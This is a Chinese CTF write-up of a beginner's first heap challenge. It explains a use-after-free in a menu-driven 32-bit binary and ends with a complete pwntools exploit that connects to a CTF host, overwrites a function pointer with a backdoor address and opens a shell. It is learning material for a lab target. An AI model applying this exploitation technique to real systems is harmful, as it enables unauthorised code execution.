第一道Heap题目!!第一道UAF!!
前言
一、关键代码
后门函数
UAF漏洞存在
编辑
函数指针调用函数
二、GPT解读代码
三、payload构造原理
四、UAF利用
show:
edit:
五、EXP:(薛微丑陋,见谅)
总结
作为本萌新做的第一道堆题,接触到新的领域,总是又能够学到很多东西。
本题用到了堆漏洞UAF:use after free。
通过checksec、file基本了解信息后,拖入IDA进行反汇编。有几个重要的部分需要强调如下:
本萌新才疏学浅,不如GPT
假设有以下定义:
void (__cdecl *page)(char *);
这是一个函数指针,指向一个返回类型为void、参数为char*的函数。
现在看一下代码行:
(*((void (__cdecl **)(char *))page + 1))(page);
((void (__cdecl **)(char *))page + 1)
这部分的目的是将函数指针page
转换为一个指向函数指针的指针,并将其增加1。实际上,它将page
视为一个指针数组,然后偏移了一个位置。(*((void (__cdecl **)(char *))page + 1))
接下来,我们取得偏移后的指针(page
的指针数组的第二个元素),并使用解引用操作符``获取该指针所指向的内容,即该指针指向的函数指针。(page)
最后,我们将page
作为参数传递给获取到的函数指针,并调用它。换句话说,这行代码的作用是调用page
指向的函数指针数组中的第二个函数指针,并将page
本身作为参数传递给该函数。
而看到可构造后门函数NICO,我们可作如下尝试:①argu=addr('/bin/sh') ②func=NICO
注意到page是一个数组,类型为 char *
,在32位的机子里,这意味着一个page数组的单元,存储地址,有着4byte的空间。所以page+1将越过4个字节。这为我们构造特定的payload提供了依据。
page
即 &(page[0])
,page+1
即&(page[1])
,func在page[0]向后偏移4byte处,所以argu不能太长,必须小于4byte。
总而言之,如下构造:(’/bin/sh0x00’但是太长了,换成‘sh\x00\x00’,共4byte)+(NICO_addr,共4byte)
值得注意的是,在create、edit、del、show函数中(关键是edit和show),对于page页号有着不同的“过滤”
这两者的不同,直接导致了page0的内容无法直接通过edit修改!而这正是我们要做的!
这就要利用UAF来绕过对page 0写的限制:在申请page 0后释放它,再申请page 1,此时获得的指针还是指向之前分配给page 0的空间。这时候我们通过新获得的指针修改page 0中的内容,在show的时候指明展示page 0,即可调用通过payload篡改的地址,即后门函数,getshell!
#(*((void (__cdecl **)(char *))page + 1))(page);
#上述代码调用*(page+1)的函数func,参数argu为page,即func(argu)
#发现后门函数NICO,所以我们试着如下构造:
#argu=addr('/bin/sh') func=NICO
from pwn import *
from pwn import p32
context(arch='i386',log_level='debug',os='linux')
backdoor=0x08048642
file=ELF('./pwn')
payload=b'sh\\x00\\x00'+p32(backdoor)
# io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28234)
#create page 0
io.recvuntil(b':')
io.sendline(b'1')
#delete page 0
io.recvuntil(b':')
io.sendline(b'3')
io.recvuntil(b'page')
io.sendline(b'0')
#create page 1
io.recvuntil(b':')
io.sendline(b'1')
#edit page 1
io.recvuntil(b':')
io.sendline(b'2')
io.recvuntil(b'page')
io.sendline(b'1')
io.recvuntil(b'strings')
io.sendline(payload)
#show page 0
io.recvuntil(b':')
io.sendline(b'4')
io.recvuntil(b'page')
io.sendline(b'0')
io.interactive()
UAF的第一题,Heap的第一题。heap一直都是pwn里的大头,好好学!加油!